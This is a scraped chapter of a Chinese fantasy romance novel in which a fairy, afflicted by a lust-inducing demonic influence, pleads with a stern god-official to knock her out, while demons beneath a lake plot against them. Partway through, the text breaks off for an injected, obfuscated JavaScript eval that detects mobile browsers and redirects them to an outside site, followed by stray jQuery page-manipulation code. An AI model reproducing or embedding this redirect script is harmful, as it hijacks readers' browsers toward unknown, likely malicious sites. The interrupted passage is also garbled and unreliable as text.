……
眼观姬灵水唇色苍白,额上已浸出细密的汗珠,似是实在难以隐忍,再坐视不理倒显得不太人道了。
黎长微:“怎么帮?”
好热好热……
姬灵水眉头拧得极紧,她启唇呼出一口气,眼睛不敢看他,只好盯着别处,断断续续扯出一句完整的话:“劳烦……神君……把我打晕。”
否则她也不知道自己会莫名做出什么样的举动。
毕竟眼前的人可不是屺阴,而是圣洁庄严的神官大人,就是给她十个胆子,她也是不敢冒犯他的。
“求求你了……真的很难受。”姬灵水声音已不成句,只盼望黎长微快些动手,她这也是为了他好。
谁知道她兽性大发会不会强夺神君啊,那她和上仙洲以后还如何立足?原本被屺阴一人追杀就已经很艰难了,再加上一个黎长微,她还要不要活。
思及此,姬灵水伤心地呜咽起来。
“若无正当缘由,恕难从命。”黎长微敛眉,“吾不会平白无故伤人。”
险些忘了这是个比她父君还呆板的家伙,姬灵水咬牙,索性一股脑把话说清楚:“神君看不出来我中毒了?”
黎长微凝向她手腕,一缕神识溢出,在她腕间跃动几息,而后飞回黎长微体内,他徐徐道:“灵水君身体很康健。”
姬灵水翻白眼的力气都没有了,干脆直接仰首一躺,当作自己死了。
这情形,跟死了也没什么分别。
须臾后,姬灵水察觉到些细碎的声响,她余光一瞟,是黎长微抬了手朝她这儿点过来,心下大喜,“对,就朝这儿打。”
黎长微不知施了什么诀,收回手问她:“现下能动了么。”
姬灵水满面疑惑,手掌抓握几下,竟觉浑身充满了气力,当即脸色一黑。
她声音已然喑哑了大半,带着些绝望:“我没有让神君帮我恢复元气……“
这不是害他自己呢么。
黎长微正色:“要打,就自己打。”
左右他是不会动手的。
姬灵水艰难坐起身,期间黎长微倾身往旁避开,可此阵阵中狭窄,避无可避,两人无论如何坐,仍旧距离对方不过咫尺,寂静之时还能听见彼此的呼吸声。
她看了眼自己的手掌,尝试着往颈边劈去,最初没什么感觉,但心底那股又痒又燥的心绪使她很快狠下心来,重重往自己身上劈了好几回,疼得她龇牙咧嘴,却还是没晕!
黎长微原本是闭上眼的,这会儿不知是不是实在看不过去,缓缓睁开眸子,视线定在她正对着他的侧颈上,上面有一道醒目红痕,看样子是下了狠手。
“这样劈不会晕,但是——”他沉声。
姬灵水:“但是什么?”
“但是或许会死。”
姬灵水捂着脖子,泪眼盈盈看他,好不可怜:“那要怎么劈?”
“……”
“抬手。”
姬灵水依言抬手。
“放到这个位置。”黎长微视线扫过她后颈的某个部位。
姬灵水一边看他眼色,一边伸手去够,动作诡异得不得了,“这儿?”
“不对,还要往左。”
“再往右。”
几番下来还未找准,姬灵水耐心告罄,心底一团火烧得越来越旺,此刻也顾不得黎长微的身份,气冲冲质问他:“神君这般捉弄我,到底是为何意呢?我知晓你并不喜我,可也不必将我当傻子玩弄。”
一口气说出这些,心中的燥热还消下去了些许,取而代之的是熊熊的怒火。
黎长微神色依旧平淡,还有闲心同她争辩:“吾并未捉弄灵水君,给灵水君指引的也是正确的位置。至于喜恶,灵水君并非吾,怎知吾不喜你?天下苍生,吾一视同仁。”
姬灵水没心情跟他扯什么喜欢不喜欢,直接道:“好,那我就当神君是装傻罢,所以你使我恢复元气就是想让我主动对你投怀送抱吗?”
如若这样刺激他能让黎长微一刀将她劈晕也行。
黎长微愕然了一瞬。
旋即又恢复了那张庄重的神色:“这是何意?”
“当神官要净情根?”姬灵水骤然凑近他。
她仰首盯他,眼底腮边皆泛薄红,肌肤又很白皙,眸如碎星作缀,黎长微只看了一眼便收回眼神:“不曾。”
“那就是神君自找的,怪不得小仙了。”姬灵水揪住他紫色衣襟,倾身而上,鼻尖轻擦过他的鼻尖,旋即顿住,轻笑,“神君这还不动手的话,我就当你是欲擒故纵了。”
这总能把他气死吧?姬灵水说完停了几瞬,待黎长微回应,未想他不动如山,只用眸光回看她,眼中情绪具体为何意她品不出来,倒觉得自己姿态难看。
“神君还不动手?”姬灵水撇撇嘴角,“再不动手我就动手了。”
黎长微默了默:“看来灵水君中了魔障。”
姬灵水坦荡道:“对,你打我吧。”
黎长微眸色复杂,他活这么久,第一回见有人会有这样的请求。
*
无生湖底,魔气如精怪小虫四处窜逸。
湖心旁边,黑衣男子被两名侍从从旁押住,男子单膝跪地,被迫看向那阵中之景。
身前有一老媪,佝偻着背脊,目光同样凝向阵中二人,她披着的深紫色斗篷破烂不堪,虚虚搭在她干瘦的骨架上。
她忽而拊掌而笑,浑浊的眼珠动了动,发出咕噜咕噜的声响。
“君上。”她唤了一声,明知故问,“这小仙女如今这般模样,怎像与‘夭’交合过后的症状?”
闻言屺阴渐发白的瞳仁
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17626081|205251||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
蓦然有了生机。
他似在思考老媪的话。
这些时日,姬灵水便时常如此。原来是因他而不舒服。
老媪摇头失笑,转身面向屺阴,因她身量低矮,不用俯身也能与之对视:“现下君上信了自己是‘夭’么?只有‘夭’的媚气才能致人沉溺色欲,神智不明。这仙女貌似功力不深,定力太差,要是不及时纾解,恐有性命之忧。”
“呃,这倒提醒我了。此阵不过是摧毁心力元气,若是再施一计,给阵中人种下情毒……”见屺阴仍不回应,她神色古怪,而后欣然道,“那黎长微与我魔界是死对头了,如今也正好痛打落水狗。”
“妖女和神官配成一对,君上觉得如何?”
屺阴刚下无生湖时就掉入了湖心,浑身浸湿,几缕额发湿漉漉地搭在他眉眼处,水珠滴滴答答地下坠,凝在他睫羽上,眼前有些模糊。
他咧嘴一笑,有鲜血自他唇角流下,平添了满脸邪气:“好得很,她便是那天上人间我最恨的人,随你如何都好。”
老媪一哽,倒是屺阴右边的男人忍不住啐了声:“神姑,何需跟他多说?他要不做这魔君,我就来做!”
“啪”一声脆响,竟是老媪的法器拍了他一掌,那男人不可置信看了老媪一眼,老媪冷声:“君上是正统的无生湖之主,是湖心有灵才将君上召唤回来,岂许你这等宵小取而代之?”
说罢她又面向屺阴,声音同样冷厉:“君上莫要得寸进尺了,你生而为‘夭’,便当为魔界尽心,你如今置身事外,只因你忘了天界仙界,妖界鬼界是如何对我们赶尽杀绝的!”
“君上不仅忘了,甚至还臣服于他们数年,就连一个小小的仙女都能将你玩弄在股掌之间,”她越说越激动,浑浊的眼珠开始渗出灰黄色的浊液,“君上是做奴隶做久了,要让整个魔界做奴隶?!”
“神姑。”屺阴微抬眼皮,那头阵中姬灵水呜咽说难受的声音还响在他耳侧,他晃了晃神,才道,“既然是魔,为何叫做神姑?你是堕魔?”
神姑哈哈大笑:“我是堕魔也比你这个纯种的魔物更心系魔界,太可笑了。”
她顿了顿,眼中似有泪光,“屺阴,你究竟对得起何人?你对得起拼死护你的父母,对得起等了你这么久的臣民么?”
“我怎知你的话是真是假,”屺阴冷笑,“要么让我想起来从前的记忆,要么杀了我。”
神姑恢复了肃容,淡然道:“我看不必如此复杂,既然君上这么恨那位仙女,想必她没少欺辱君上,做部下的自然要帮君上报复回去。”
“还有她白白从君上身上得到的脉气和灵力,我也会连本带息地讨要回来。”
她看向那阵,嘴角勾起一抹笑意。
正要动作,身后屺阴蓦地出声:“你说的脉气和灵力,是什么意思。”